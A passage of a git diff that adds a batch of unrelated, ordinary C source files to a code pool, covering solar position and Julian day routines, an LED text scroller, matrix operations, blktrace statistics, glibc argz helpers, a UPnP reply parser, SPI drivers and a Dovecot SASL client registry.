S.pressure = p; + S.temperature = T; + S.jd = (t + t_offset) / 3600 / 24; /* convert to days */ + + int res = spa_calculate(&S); + //CONSOLE_DEBUG("Sun position: t = %f JD, p %f mbar, T = %f C: res = %d, az = %f, zen = %f",S.jd, p, T, res, S.azimuth, S.zenith); + + /* returned values are in degrees, need to convert back to base SI: radians */ + outputs[0] = S.zenith * PI/180.; + outputs[1] = S.azimuth180 * PI/180.; + + switch(res){ + case 0: break; + case 16: CONSOLE_DEBUG("Calculated julian day (t + offset) = %f is out of permitted range",S.jd); break; + default: CONSOLE_DEBUG("Error code %d returned from spa_calculate",res); + } + + /* 0 on success, non-zero is error code from spa_calculate (would prob be input parameters out-of-range) */ + return res; +} + +/*---------- SUNPOS_JULIAN_DAY ------------*/ + +static int julian_day_nrel_prepare(struct BBoxInterp *bbox, + struct Instance *data, + struct gl_list_t *arglist +){ + bbox->user_data = NULL; + return 0; +} + +static int julian_day_nrel_calc(struct BBoxInterp *bbox, + int ninputs, int noutputs, + double *inputs, double *outputs, + double *jacobian +){ + CALCPREPARE(7,1); + (void)sunpos1; + + int y,mon,d,h,m,s; + double tz; + + y = inputs[0]; /* year */ + mon = inputs[1]; /* month */ + d = inputs[2]; /* day */ + h = inputs[3]; /* hour */ + m = inputs[4]; /* minute */ + s = inputs[5]; /* second */ + tz = inputs[6] / 3600.; /* timezone (in seconds, converted here to hours) */ + + double t = julian_day(y,mon,d, h,m,s, tz) * 3600 * 24; + + outputs[0] = t; + return 0; +} + + diff --git a/pool/shard011/C/0141617_ledscroll.c b/pool/shard011/C/0141617_ledscroll.c new file mode 100644 index 0000000000000000000000000000000000000000..4f4ea3ae00a5b6d8e0a44deed25faa96e9d25728 --- /dev/null +++ b/pool/shard011/C/0141617_ledscroll.c @@ -0,0 +1,235 @@ +#include +#include +#include +#include +#include + +#include +#include FT_FREETYPE_H + +#include "led.h" + +#define MAX_ROWS 30 +#define MAX_COLS (1024 * 8) + +long g_pixels_set = 0; + +typedef struct +{ + int bright; + int r; + int g; + int b; +} pixel_t; + +typedef pixel_t bits_t[MAX_COLS][MAX_ROWS]; + +int bit_set(unsigned char *buffer, int x, int y, int pitch) +{ + int rc; + buffer += (y * pitch); + buffer += (x / 8); + rc = *buffer & (1 << (8 - (x % 8))); + return rc; +} + +void draw_bitmap(FT_Bitmap* bitmap, int originx, int originy, bits_t bits, pixel_t *pixel) +{ + int x, y; + static pixel_t blank_pixel = { 0, 0, 0, 0 }; + + for (x = 0; x < bitmap->width; x++) + for (y = 0; y < bitmap->rows; y++) + if (bit_set(bitmap->buffer, x, y, bitmap->pitch)) + bits[x + originx][y + originy] = *pixel; + else + bits[x + originx][y + originy] = blank_pixel; +} + + +/* [bright|red|green|blue] */ +int get_color_command(const char *p, pixel_t *pixel) +{ + int bright = MAX_BRIGHT; + int red = 0; + int green = 0; + int blue = 0; + char *q; + + if (sscanf(p, "[%x|%x|%x|%x]", &bright, &red, &green, &blue) == 4) + ; + else if (strncasecmp(p, "[red]", 5) == 0) + { + bright = MAX_BRIGHT; + red = 0xf; + } + else if (strncasecmp(p, "[green]", 7) == 0) + { + bright = MAX_BRIGHT; + green = 0xf; + } + else if (strncasecmp(p, "[blue]", 6) == 0) + { + bright = MAX_BRIGHT; + blue = 0xf; + } + else if (strncasecmp(p, "[purple]", 8) == 0) + { + bright = MAX_BRIGHT; + red = 13; + blue = 13; + } + else if (strncasecmp(p, "[orange]", 8) == 0) + { + bright = MAX_BRIGHT; + red = 13; + green = 1; + } + else if (strncasecmp(p, "[white]", 7) == 0) + { + bright = MAX_BRIGHT; + red = 13; + green = 13; + blue = 13; + } + else if (strncasecmp(p, "[yellow]", 8) == 0) + { + bright = MAX_BRIGHT; + red = 13; + green = 6; + } + else if (*p == '[') + fprintf(stderr, "Huh? [%s]\n", p); + else + return 0; + + q = strchr(p, ']'); + if (q) + { + pixel->bright = bright; + pixel->r = red; + pixel->g = green; + pixel->b = blue; + + return q - p + 1; + } + + return 0; +} + +int main(int argc, char *argv[]) +{ + FT_Library library; + FT_Face face; + + FT_Error error; + + char* p; + + pixel_t pixel = { MAX_BRIGHT, MAX_RGB, 0, 0 }; + bits_t bits; + int x, y; + int skip; + + int originx; + int max_x; + int base_y = 0; + int wide, high; + + FT_Bitmap_Size *bs; + + LED_HANDLE_T h; + + if ( argc != 3 ) + { + fprintf ( stderr, "usage: %s font sample-text\n", argv[0] ); + exit( 1 ); + } + + error = FT_Init_FreeType(&library); + if (error) + { + fprintf(stderr, "Error initializing freetype\n"); + exit (1); + } + error = FT_New_Face(library, argv[1], 0, &face); + if (error) + { + fprintf(stderr, "Error making face out of %s\n", argv[1]); + exit (2); + } + bs = face->available_sizes; + if (! bs) + { + fprintf(stderr, "Error: this only works with bitmap fonts. Try to find a .bdf file.\n"); + exit (1); + } + + memset(bits, 0, sizeof(bits)); + + for ( p = argv[2], x = 0, y = 0; *p; p++) + { + skip = get_color_command(p, &pixel); + if (skip > 0) + { + p += (skip - 1); + continue; + } + + /* load glyph image into the slot (erase previous one) */ + error = FT_Load_Char( face, *p, FT_LOAD_RENDER); + if ( error ) + { + fprintf(stderr, "Couldn't load '%c'\n", *p); + continue; /* ignore errors */ + } + + draw_bitmap(&face->glyph->bitmap, x, y, bits, &pixel); + + x += face->glyph->bitmap.width; + +#if defined(HACK_THIS_OUT_FOR_NOW) + /* Deliberately add 1 column of spaces */ + /* Seems like BDF fonts make provision for spaces */ + x++; +#endif + } + + max_x = x; + + h = led_init(); + if (h) + { + led_get_size(h, &wide, &high); + + if (bs->height < high) + base_y = (high - bs->height) / 2; + + originx = 0; + while (1) + { + printf("tick %ld\n", g_pixels_set); + if (originx >= max_x) + originx = 0; + + for (x = 0; x < wide; x++) + for (y = 0; y < bs->height; y++) + { + pixel_t *pixel = &bits[(originx + x) % max_x][y]; + led_set_pixel(h, x, y + base_y, pixel->bright, pixel->r, pixel->g, pixel->b); + g_pixels_set++; + } + + originx++; + + usleep(150000); + } + } + + FT_Done_Face ( face ); + FT_Done_FreeType( library ); + + return 0; +} + +/* EOF */ diff --git a/pool/shard011/C/0141618_ops.c b/pool/shard011/C/0141618_ops.c new file mode 100644 index 0000000000000000000000000000000000000000..dfc3e66ef3fc240eff68d4f1be2caf0963a3cb87 --- /dev/null +++ b/pool/shard011/C/0141618_ops.c @@ -0,0 +1,103 @@ +/* ************************************************************************** */ +/* */ +/* ::: :::::::: */ +/* ops.c :+: :+: :+: */ +/* +:+ +:+ +:+ */ +/* By: fel-mazo +#+ +:+ +#+ */ +/* +#+#+#+#+#+ +#+ */ +/* Created: 2016/12/29 16:12:47 by fel-mazo #+# #+# */ +/* Updated: 2016/12/29 18:30:28 by fel-mazo ### ########.fr */ +/* */ +/* ************************************************************************** */ + +#include "mx.h" + +t_mxint *add_matrix(t_mxint *to, t_mxint *from) +{ + size_t i; + size_t j; + + if (!to || !from || to->rows != from->rows || to->cols != from->cols) + return (NULL); + i = 0; + while (i < to->rows) + { + j = 0; + while (j < to->cols) + { + to->data[i][j] += from->data[i][j]; + ++j; + } + ++i; + } + return (to); +} + +t_mxint *add_scal(t_mxint *a, int x) +{ + size_t i; + size_t j; + + if (!a) + return (NULL); + i = 0; + while (i < a->rows) + { + j = 0; + while (j < a->cols) + { + a->data[i][j] += x; + ++j; + } + ++i; + } + return (a); +} + +t_mxint *scale_matrix(t_mxint *a, int x) +{ + size_t i; + size_t j; + + if (!a) + return (NULL); + i = 0; + while (i < a->rows) + { + j = 0; + while (j < a->cols) + { + a->data[i][j] *= x; + ++j; + } + ++i; + } + return (a); +} + +t_mxint *matrix_multi(t_mxint *a, t_mxint *b) +{ + size_t i; + size_t j; + size_t k; + t_mxint *res; + + if (!a || !b || a->cols != b->rows) + return (NULL); + if (!(res = new_matrix(a->rows, b->cols))) + return (NULL); + i = 0; + while (i < res->rows) + { + j = 0; + while (j < res->cols) + { + k = -1; + while (++k < a->cols) + res->data[i][j] += a->data[i][k] * b->data[k][j]; + ++j; + } + ++i; + } + return (res); +} diff --git a/pool/shard011/C/0141619_unplug_hist.c b/pool/shard011/C/0141619_unplug_hist.c new file mode 100644 index 0000000000000000000000000000000000000000..89995ded5297b15c421ca4c6bfec9446d447675b --- /dev/null +++ b/pool/shard011/C/0141619_unplug_hist.c @@ -0,0 +1,88 @@ +/* + * blktrace output analysis: generate a timeline & gather statistics + * + * Copyright (C) 2006 Alan D. Brunelle + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + */ +#include "globals.h" + +#define BKT_WIDTH 5 +#define MAX_BKT 19 +#define EXCESS_BKT 20 +#define NBKTS (EXCESS_BKT + 1) + +struct hist_bkt { + struct d_info *dip; + int hist[NBKTS * sizeof(int)]; +}; + +void *unplug_hist_alloc(struct d_info *dip) +{ + struct hist_bkt *hbp; + + if (unplug_hist_name == NULL) return NULL; + + hbp = malloc(sizeof(*hbp)); + hbp->dip = dip; + memset(hbp->hist, 0, NBKTS * sizeof(int)); + + return hbp; +} + +void unplug_hist_add(struct io *u_iop) +{ + struct d_info *dip; + + dip = __dip_find(u_iop->t.device); + if (dip && dip->up_hist_handle) { + __u64 *val = u_iop->pdu; + int idx, n_unplugs = be64_to_cpu(*val); + struct hist_bkt *hbp = dip->up_hist_handle; + + idx = (n_unplugs / BKT_WIDTH); + if (idx > EXCESS_BKT) + idx = EXCESS_BKT; + + hbp->hist[idx]++; + } +} + +void unplug_hist_free(void *arg) +{ + if (arg) { + FILE *fp; + struct hist_bkt *hbp = arg; + size_t tlen = strlen(unplug_hist_name) + + strlen(hbp->dip->dip_name) + 32; + char *oname = malloc(tlen); + + sprintf(oname, "%s_%s.dat", unplug_hist_name, + hbp->dip->dip_name); + if ((fp = my_fopen(oname, "w")) != NULL) { + int i; + + for (i = 0; i < NBKTS; i++) + fprintf(fp, "%d %d\n", i, hbp->hist[i]); + fclose(fp); + + } else + perror(oname); + + free(oname); + free(hbp); + } +} diff --git a/pool/shard011/C/0141620_argz-append.c b/pool/shard011/C/0141620_argz-append.c new file mode 100644 index 0000000000000000000000000000000000000000..6dd47e77097a113f7c1eaa240c835fd52297de07 --- /dev/null +++ b/pool/shard011/C/0141620_argz-append.c @@ -0,0 +1,50 @@ +/* Routines for dealing with '\0' separated arg vectors. + Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Written by Miles Bader + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public License as + published by the Free Software Foundation; either version 2 of the + License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with the GNU C Library; see the file COPYING.LIB. If not, + write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, + Boston, MA 02111-1307, USA. */ + +#include +#include +#include + +/* Add BUF, of length BUF_LEN to the argz vector in ARGZ & ARGZ_LEN. */ +error_t +__argz_append (char **argz, size_t *argz_len, const char *buf, size_t buf_len) +{ + size_t new_argz_len = *argz_len + buf_len; + char *new_argz = realloc (*argz, new_argz_len); + if (new_argz) + { + memcpy (new_argz + *argz_len, buf, buf_len); + *argz = new_argz; + *argz_len = new_argz_len; + return 0; + } + else + return ENOMEM; +} +weak_alias (__argz_append, argz_append) + +/* Add STR to the argz vector in ARGZ & ARGZ_LEN. This should be moved into + argz.c in libshouldbelibc. */ +error_t +__argz_add (char **argz, size_t *argz_len, const char *str) +{ + return __argz_append (argz, argz_len, str, strlen (str) + 1); +} +weak_alias (__argz_add, argz_add) diff --git a/pool/shard011/C/0141621_upnpreplyparse.c b/pool/shard011/C/0141621_upnpreplyparse.c new file mode 100644 index 0000000000000000000000000000000000000000..29d83df79f6324057bf599cdb4e4bd3042e9002c --- /dev/null +++ b/pool/shard011/C/0141621_upnpreplyparse.c @@ -0,0 +1,113 @@ +/* $Id: upnpreplyparse.c,v 1.5 2010/06/03 21:59:18 jmaggard Exp $ */ +/* MiniUPnP project + * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ + * (c) 2006 Thomas Bernard + * This software is subject to the conditions detailed + * in the LICENCE file provided within the distribution */ + +#include +#include +#include + +#include "upnpreplyparse.h" +#include "minixml.h" + +static void +NameValueParserStartElt(void * d, const char * name, int l) +{ + struct NameValueParserData * data = (struct NameValueParserData *)d; + if(l>63) + l = 63; + memcpy(data->curelt, name, l); + data->curelt[l] = '\0'; + + /* store root element */ + if(!data->head.lh_first) + { + struct NameValue * nv; + nv = malloc(sizeof(struct NameValue)); + strcpy(nv->name, "rootElement"); + memcpy(nv->value, name, l); + nv->value[l] = '\0'; + LIST_INSERT_HEAD( &(data->head), nv, entries); + } +} + +static void +NameValueParserGetData(void * d, const char * datas, int l) +{ + struct NameValueParserData * data = (struct NameValueParserData *)d; + struct NameValue * nv; + nv = malloc(sizeof(struct NameValue)); + if(l>511) + l = 511; + strncpy(nv->name, data->curelt, 64); + nv->name[63] = '\0'; + memcpy(nv->value, datas, l); + nv->value[l] = '\0'; + LIST_INSERT_HEAD( &(data->head), nv, entries); +} + +void +ParseNameValue(const char * buffer, int bufsize, + struct NameValueParserData * data) +{ + struct xmlparser parser; + LIST_INIT(&(data->head)); + /* init xmlparser object */ + parser.xmlstart = buffer; + parser.xmlsize = bufsize; + parser.data = data; + parser.starteltfunc = NameValueParserStartElt; + parser.endeltfunc = 0; + parser.datafunc = NameValueParserGetData; + parser.attfunc = 0; + parsexml(&parser); +} + +void +ClearNameValueList(struct NameValueParserData * pdata) +{ + struct NameValue * nv; + while((nv = pdata->head.lh_first) != NULL) + { + LIST_REMOVE(nv, entries); + free(nv); + } +} + +char * +GetValueFromNameValueList(struct NameValueParserData * pdata, + const char * Name) +{ + struct NameValue * nv; + char * p = NULL; + for(nv = pdata->head.lh_first; + (nv != NULL) && (p == NULL); + nv = nv->entries.le_next) + { + if(strcmp(nv->name, Name) == 0) + p = nv->value; + } + return p; +} + +/* debug all-in-one function + * do parsing then display to stdout */ +#ifdef DEBUG +void +DisplayNameValueList(char * buffer, int bufsize) +{ + struct NameValueParserData pdata; + struct NameValue * nv; + ParseNameValue(buffer, bufsize, &pdata); + for(nv = pdata.head.lh_first; + nv != NULL; + nv = nv->entries.le_next) + { + printf("%s = %s\n", nv->name, nv->value); + } + ClearNameValueList(&pdata); +} +#endif + diff --git a/pool/shard011/C/0141622_trove-rmdir.c b/pool/shard011/C/0141622_trove-rmdir.c new file mode 100644 index 0000000000000000000000000000000000000000..1cae1b8272ca251d5f63d2a393a448e5736f3017 --- /dev/null +++ b/pool/shard011/C/0141622_trove-rmdir.c @@ -0,0 +1,193 @@ +/* + * (C) 2002 Clemson University and The University of Chicago + * + * See COPYING in top-level directory. + */ + +#include +#include +#include +#include +#include + +#include +#include + +char storage_space[SSPACE_SIZE] = "/tmp/trove-test-space"; +char file_system[FS_SIZE] = "fs-foo"; +char path_to_file[PATH_SIZE] = "/bar"; +TROVE_handle requested_file_handle = 4095; + +int parse_args(int argc, char **argv); + +int main(int argc, char **argv) +{ + int ret, count, i; + char *file_name; + char path_name[PATH_SIZE]; + + TROVE_op_id op_id; + TROVE_coll_id coll_id; + TROVE_handle file_handle, parent_handle; + TROVE_ds_state state; + TROVE_keyval_s key, val; + TROVE_ds_attributes_s s_attr; + TROVE_context_id trove_context = -1; + + ret = parse_args(argc, argv); + if (ret < 0) { + fprintf(stderr, "argument parsing failed.\n"); + return -1; + } + + ret = trove_initialize( + TROVE_METHOD_DBPF, NULL, storage_space, storage_space, 0); + if (ret < 0) { + fprintf(stderr, "initialize failed.\n"); + return -1; + } + + /* try to look up collection used to store file system */ + ret = trove_collection_lookup( + TROVE_METHOD_DBPF, file_system, &coll_id, NULL, &op_id); + if (ret < 0) { + fprintf(stderr, "collection lookup failed.\n"); + return -1; + } + + ret = trove_open_context(coll_id, &trove_context); + if (ret < 0) + { + fprintf(stderr, "trove_open_context failed\n"); + return -1; + } + + /* find the parent directory name */ + strcpy(path_name, path_to_file); + for (i=strlen(path_name); i >= 0; i--) { + if (path_name[i] != '/') path_name[i] = '\0'; + else break; + } + file_name = path_to_file + strlen(path_name); +#if 0 + printf("path is %s\n", path_name); + printf("file is %s\n", file_name); +#endif + + /* find the parent directory handle */ + ret = path_lookup(coll_id, path_name, &parent_handle); + if (ret < 0) { + return -1; + } + + /* TODO: make a is_dir function... maybe make a full blown stat(2)? */ + + /* look up the handle for the file */ + memset(&key, 0, sizeof(key)); + memset(&val, 0, sizeof(val)); + key.buffer = file_name; + key.buffer_sz = strlen(file_name)+1; + val.buffer = &file_handle; + val.buffer_sz = sizeof(TROVE_handle); + + /* it would be smart to verify that this is a directory first... */ + ret = trove_keyval_read(coll_id, parent_handle, &key, &val, + 0, NULL, NULL, trove_context, &op_id, NULL); + while (ret == 0) ret = trove_dspace_test( + coll_id, op_id, trove_context, &count, NULL, NULL, &state, + TROVE_DEFAULT_TEST_TIMEOUT); + if ( ret < 0 || state == -1) { + fprintf(stderr, "read failed for key %s\n", file_name); + return -1; + } + + ret = trove_dspace_getattr(coll_id, + file_handle, + &s_attr, + 0 /* flags */, + NULL, + trove_context, + &op_id, + NULL); + while (ret == 0) ret = trove_dspace_test( + coll_id, op_id, trove_context, &count, NULL, NULL, &state, + TROVE_DEFAULT_TEST_TIMEOUT); + if (ret < 0) return -1; + + /* 'handles are everything': now that we've gotten a handle from the + * file_name, we can wipe the keyval (via name) and the dspace (via + * handle)*/ + + key.buffer = file_name; + key.buffer_sz = strlen(file_name)+1; + + ret = trove_keyval_remove(coll_id, parent_handle, &key, NULL, + 0, NULL, NULL, trove_context, &op_id, NULL); + while (ret == 0) ret = trove_dspace_test( + coll_id, op_id, trove_context, &count, NULL, NULL, &state, + TROVE_DEFAULT_TEST_TIMEOUT); + if (ret < 0 ) { + fprintf(stderr, "removal failed for %s\n", file_name); + return -1; + } + + /* the question: is it up to the caller to clean up the dspace if it removed the last entry? no no no*/ + /* gar gar being dense: the dspace gets removed. */ + ret = trove_dspace_remove(coll_id, + file_handle, + TROVE_SYNC, + NULL, + trove_context, + &op_id, + NULL); + while (ret == 0) ret = trove_dspace_test( + coll_id, op_id, trove_context, &count, NULL, NULL, &state, + TROVE_DEFAULT_TEST_TIMEOUT); + if (ret < 0) { + fprintf(stderr, "dspace remove failed.\n"); + return -1; + } + + trove_close_context(coll_id, trove_context); + trove_finalize(TROVE_METHOD_DBPF); + printf("file %s removed (file handle = %d, parent handle = %d).\n", + file_name, + (int) file_handle, + (int) parent_handle); + + return 0; +} + +int parse_args(int argc, char **argv) +{ + int c; + + while ((c = getopt(argc, argv, "s:c:p:h:")) != EOF) { + switch (c) { + case 's': + strncpy(storage_space, optarg, SSPACE_SIZE); + break; + case 'c': /* collection */ + strncpy(file_system, optarg, FS_SIZE); + break; + case 'p': + strncpy(path_to_file, optarg, PATH_SIZE); + case 'h': + requested_file_handle = atoll(optarg); + break; + case '?': + default: + return -1; + } + } + return 0; +} + +/* + * Local variables: + * c-indent-level: 4 + * c-basic-offset: 4 + * End: + * + * vim: ts=8 sts=4 sw=4 expandtab + */ diff --git a/pool/shard011/C/0141623_SPI_Wrapper.c b/pool/shard011/C/0141623_SPI_Wrapper.c new file mode 100644 index 0000000000000000000000000000000000000000..1dffeeb8b50f8ecf250fe4284385631492e6558a --- /dev/null +++ b/pool/shard011/C/0141623_SPI_Wrapper.c @@ -0,0 +1,106 @@ +/* + * SPI_Wrapper.c + * + * Created on: 28.12.2014 + * Author: armetallica + */ +#include "SPI_Wrapper.h" +#include "xspips.h" /* SPI device driver */ +#include + +#define SPI_DEVICE_ID XPAR_XSPIPS_0_DEVICE_ID +#define RFM12_SPI_SELECT 0 + +XSpiPs_Config *SpiConfig; +static XSpiPs SpiInstance; + +void init_spi(void) { + int Status; + /* + * Initialize the SPI driver so that it's ready to use + */ + SpiConfig = XSpiPs_LookupConfig(SPI_DEVICE_ID); + if (NULL == SpiConfig) { + printf("[SPI] ERROR INITIALIZE SPI DRVIER\n"); + } + Status = XSpiPs_CfgInitialize(&SpiInstance, SpiConfig, + SpiConfig->BaseAddress); + if (Status != XST_SUCCESS) { + printf("[SPI] ERROR LOADING CONFIG\n"); + } + /* + * Perform a self-test to check hardware build + */ + Status = XSpiPs_SelfTest(&SpiInstance); + if (Status != XST_SUCCESS) { + printf("[SPI] ERROR HARDWARE SELFTEST"); + } + /* + * Set the SPI device as a master with manual start and manual + * chip select mode options + */ + XSpiPs_SetOptions(&SpiInstance, XSPIPS_MANUAL_START_OPTION | + XSPIPS_MASTER_OPTION | XSPIPS_FORCE_SSELECT_OPTION); + + /* + * Set the SPI device pre-scalar to divide by 8 + */ + XSpiPs_SetClkPrescaler(&SpiInstance, XSPIPS_CLK_PRESCALE_128); + + Status = XSpiPs_SetSlaveSelect(&SpiInstance, RFM12_SPI_SELECT); + if (Status != XST_SUCCESS) { + printf("[SPI] ERROR SECLECTING THE SLAVE"); + } +} + +u16 xfer(u16 cmd) { + + u16 ret; + u8 TempBufferSend[2]; + u8 TempBufferReceiv[2]; + TempBufferSend[0] = cmd >> 8; + TempBufferSend[1] = cmd & 0xFF; + + ret = XSpiPs_PolledTransfer(&SpiInstance, TempBufferSend, TempBufferReceiv, + 2); + if (ret != XST_SUCCESS) { + printf("[SPI] Error win write_16\n"); + } + + ret = (TempBufferReceiv[0]<<8) | TempBufferReceiv[1]; + return ret; +} + +u8 byte(u8 cmd) { + int ret; + u8 TempBufferSend[1]; + u8 TempBufferReceiv[1]; + TempBufferSend[0] = cmd; + ret = XSpiPs_PolledTransfer(&SpiInstance, TempBufferSend, TempBufferReceiv,1); + if (ret != XST_SUCCESS) { + printf("[SPI] Error win write_8\n"); + } + + return TempBufferReceiv[0]; +} + +u16 writeCmd(u16 cmd) { + + + int ret; + u8 TempBufferSend[2]; + u8 TempBufferReceiv[2]; + TempBufferSend[0] = cmd >> 8; + TempBufferSend[1] = cmd & 0xFF; + + restart: + ret = XSpiPs_PolledTransfer(&SpiInstance, TempBufferSend, TempBufferReceiv, + 2); + if (ret != XST_SUCCESS) { + printf("[SPI] Error in writeCmd 0x%x \n",cmd); + goto restart; + } + + return TempBufferReceiv[0] + TempBufferReceiv[1]; +} + diff --git a/pool/shard011/C/0141624_dev.c b/pool/shard011/C/0141624_dev.c new file mode 100644 index 0000000000000000000000000000000000000000..7dda42b48baf555adab71a8fbd4751f77766a8cf --- /dev/null +++ b/pool/shard011/C/0141624_dev.c @@ -0,0 +1,31 @@ +/* + * + * based on code of fs/reiserfs/dev.c by + * + * (C) Copyright 2003 - 2004 + * Sysgo AG, , Pavel Bartusek + * + * SPDX-License-Identifier: GPL-2.0+ + */ + + +#include +#include +#include +#include + +static struct blk_desc *zfs_blk_desc; +static disk_partition_t *part_info; + +void zfs_set_blk_dev(struct blk_desc *rbdd, disk_partition_t *info) +{ + zfs_blk_desc = rbdd; + part_info = info; +} + +/* err */ +int zfs_devread(int sector, int byte_offset, int byte_len, char *buf) +{ + return fs_devread(zfs_blk_desc, part_info, sector, byte_offset, + byte_len, buf); +} diff --git a/pool/shard011/C/0141625_dsasl-client.c b/pool/shard011/C/0141625_dsasl-client.c new file mode 100644 index 0000000000000000000000000000000000000000..68a7f356c43a5369655fe379553bb9de46977809 --- /dev/null +++ b/pool/shard011/C/0141625_dsasl-client.c @@ -0,0 +1,110 @@ +/* Copyright (c) 2013-2015 Dovecot authors, see the included COPYING file */ + +#include "lib.h" +#include "array.h" +#include "safe-memset.h" +#include "dsasl-client-private.h" + +static int init_refcount = 0; +static ARRAY(const struct dsasl_client_mech *) dsasl_mechanisms = ARRAY_INIT; + +static const struct dsasl_client_mech * +dsasl_client_mech_find_idx(const char *name, unsigned int *idx_r) +{ + const struct dsasl_client_mech *const *mechp; + + array_foreach(&dsasl_mechanisms, mechp) { + if (strcasecmp((*mechp)->name, name) == 0) { + *idx_r = array_foreach_idx(&dsasl_mechanisms, mechp); + return *mechp; + } + } + return NULL; +} + +const struct dsasl_client_mech *dsasl_client_mech_find(const char *name) +{ + unsigned int idx; + + return dsasl_client_mech_find_idx(name, &idx); +} + +const char *dsasl_client_mech_get_name(const struct dsasl_client_mech *mech) +{ + return mech->name; +} + +void dsasl_client_mech_register(const struct dsasl_client_mech *mech) +{ + array_append(&dsasl_mechanisms, &mech, 1); +} + +void dsasl_client_mech_unregister(const struct dsasl_client_mech *mech) +{ + unsigned int idx; + + if (dsasl_client_mech_find_idx(mech->name, &idx) == NULL) + i_panic("SASL mechanism not registered: %s", mech->name); + array_delete(&dsasl_mechanisms, idx, 1); +} + +struct dsasl_client *dsasl_client_new(const struct dsasl_client_mech *mech, + const struct dsasl_client_settings *set) +{ + struct dsasl_client *client; + pool_t pool = pool_alloconly_create("sasl client", 512); + + client = p_malloc(pool, mech->struct_size); + client->pool = pool; + client->mech = mech; + client->set.authid = p_strdup(pool, set->authid); + client->set.authzid = p_strdup(pool, set->authzid); + client->password = p_strdup(pool, set->password); + client->set.password = client->password; + return client; +} + +void dsasl_client_free(struct dsasl_client **_client) +{ + struct dsasl_client *client = *_client; + + *_client = NULL; + + if (client->mech->free != NULL) + client->mech->free(client); + safe_memset(client->password, 0, strlen(client->password)); + pool_unref(&client->pool); +} + +int dsasl_client_input(struct dsasl_client *client, + const unsigned char *input, + unsigned int input_len, + const char **error_r) +{ + return client->mech->input(client, input, input_len, error_r); +} + +int dsasl_client_output(struct dsasl_client *client, + const unsigned char **output_r, + unsigned int *output_len_r, + const char **error_r) +{ + return client->mech->output(client, output_r, output_len_r, error_r); +} + +void dsasl_clients_init(void) +{ + if (init_refcount++ > 0) + return; + + i_array_init(&dsasl_mechanisms, 8); + dsasl_client_mech_register(&dsasl_client_mech_plain); + dsasl_client_mech_register(&dsasl_client_mech_login); +} + +void dsasl_clients_deinit(void) +{ + if (--init_refcount > 0) + return; + array_free(&dsasl_mechanisms); +} diff --git a/pool/shard011/C/0141626_spi_helper.c b/pool/shard011/C/0141626_spi_helper.c new file mode 100644 index 0000000000000000000000000000000000000000..bd279fc57d014f7cfb5a2405f40a4b51e02c2cfb --- /dev/null +++ b/pool/shard011/C/0141626_spi_helper.c @@ -0,0 +1,82 @@ +/* + * spi_helper.c + * + * Created on: 29 Jan 2016 + * Author: raffael + */ + + +#include "../../../Board.h" +#include "spi_helper.h" + +//global variable accessible by all tasks performing spi transactions. +SPI_Handle spi_helper_handle=0; + +/*Place this function in every task that needs spi. It will know by itself if the handle has been opened already*/ +void spi_helper_init_handle(){ + + /*************** For strut encoders ************************/ + +// if(!spi_helper_handle) //only initialize for the first time. +// { +// /* Initialise SPI Bus */ +// SPI_Params params; +// SPI_Params_init(¶ms); /* Defaults values are: +// transferMode = SPI_MODE_BLOCKING +// (transferTimeout = SPI_WAIT_FOREVER), overwritten +// transferCallbackFxn = NULL +// mode = SPI_MASTER +// bitRate = 1000000 (Hz) +// dataSize = 8 (bits); dataSize can range from 4 to 8 bits +// frameFormat = SPI_POL0_PHA0 */ +// params.transferTimeout = 100; +// params.frameFormat = SPI_POL0_PHA1; +// spi_helper_handle = SPI_open(Board_SPI, ¶ms); +// } +// +// if(spi_helper_handle == NULL) +// { +// GPIO_toggle(Board_LED_GREEN); +// } + + + if(!spi_helper_handle) //only initialize for the first time. + { + /* Initialise SPI Bus */ + SPI_Params params; + SPI_Params_init(¶ms); /* Defaults values are: + transferMode = SPI_MODE_BLOCKING + (transferTimeout = SPI_WAIT_FOREVER), overwritten + transferCallbackFxn = NULL + mode = SPI_MASTER + bitRate = 1000000 (Hz) + dataSize = 8 (bits); dataSize can range from 4 to 8 bits + frameFormat = SPI_POL0_PHA0 */ +// params.transferTimeout = 100; + params.frameFormat = SPI_POL1_PHA1; // for flash + spi_helper_handle = SPI_open(Board_SPI, ¶ms); + } +} + +uint8_t spi_helper_transfer(uint8_t nBytes, uint8_t* txBufferPointer, uint8_t* rxBufferPointer, uint8_t CS_pin) +{ + static SPI_Transaction spiTransaction; + spiTransaction.count = nBytes; + spiTransaction.txBuf = txBufferPointer; + spiTransaction.rxBuf = rxBufferPointer; + static uint8_t ret; +// GPIO_write(CS_pin, 0); + ret = SPI_transfer(spi_helper_handle, &spiTransaction); +// GPIO_write(CS_pin, 1); + + if (!ret) { +// serial_printf(cli_stdout, "Unsuccessful SPI transfer"); + return 1; + } else { + return 0; + } +} + + + + diff --git a/pool/shard011/C/0141627_bench-log.c b/pool/shard011/C/0141627_bench-log.c new file mode 100644 index 0000000000000000000000000000000000000000..7d54439c4a4e14a9cfe2783cf4a748e921990f28 --- /dev/null +++ b/pool/shard011/C/0141627_bench-log.c @@ -0,0 +1,96 @@ +/* + * Copyright (c) 2011 Red Hat, Inc. + * + * All rights reserved. + * + * Author: Steven Dake + * + * libqb is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 2.1 of the License, or + * (at your option) any later version. + * + * libqb is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with libqb. If not, see . + */ 